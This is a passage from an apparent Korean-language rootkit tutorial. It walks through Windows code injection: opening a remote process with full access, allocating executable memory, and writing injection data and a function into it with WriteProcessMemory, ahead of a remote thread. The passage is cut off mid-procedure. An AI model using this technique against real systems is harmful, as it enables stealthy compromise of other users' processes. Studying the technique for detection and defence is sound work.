RootKit

사용할 프로시저나 함수의 포인터, 내부 변수등을 저장하게 된다.
인젝션 하는 방법은 위의 방법과 마찬가지로 모듈을 얻어오는 것부터 시작하게
된다. 하지만 우리가 필요한 함수는 LoadLibraryA 함수가 아닌
SetWindowLongA, CallWndProcA 함수 이기 때문에 다른 모듈을 얻어와야 한
다.
// Get handle of "USER32.DLL"
hUser32 = GetModuleHandle("user32");
얻어오는 모듈의 핸들은 바로 user32 이다. 이곳에서 원하는 함수를 얻게 된
다.
// Open remote process
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
원하는 프로세스를 열고,
// Allocate memory in the remote process and write a copy of initialized
INJDATA into it
size = sizeof(INJDATA);
pDataRemote = (PBYTE) VirtualAllocEx(hProcess, 0, size, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
실행할 코드가 들어있는 INJDATA만큼의 공간을 할당 한다
WriteProcessMemory(hProcess, pDataRemote, &DataLocal, size, &dwNumBytesCopied)
할당된 공간에 INJDATA DataLocal을 써 넣는다.
다음은 RemoteThread를 위한 공간을 할당하고 데이터를 써 넣을 차례이다.
pGetSASWndRemote = (PBYTE) VirtualAllocEx(hProcess, 0, size, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pGetSASWndRemote, &GetSASWnd, size,
&dwNumBytesCopied)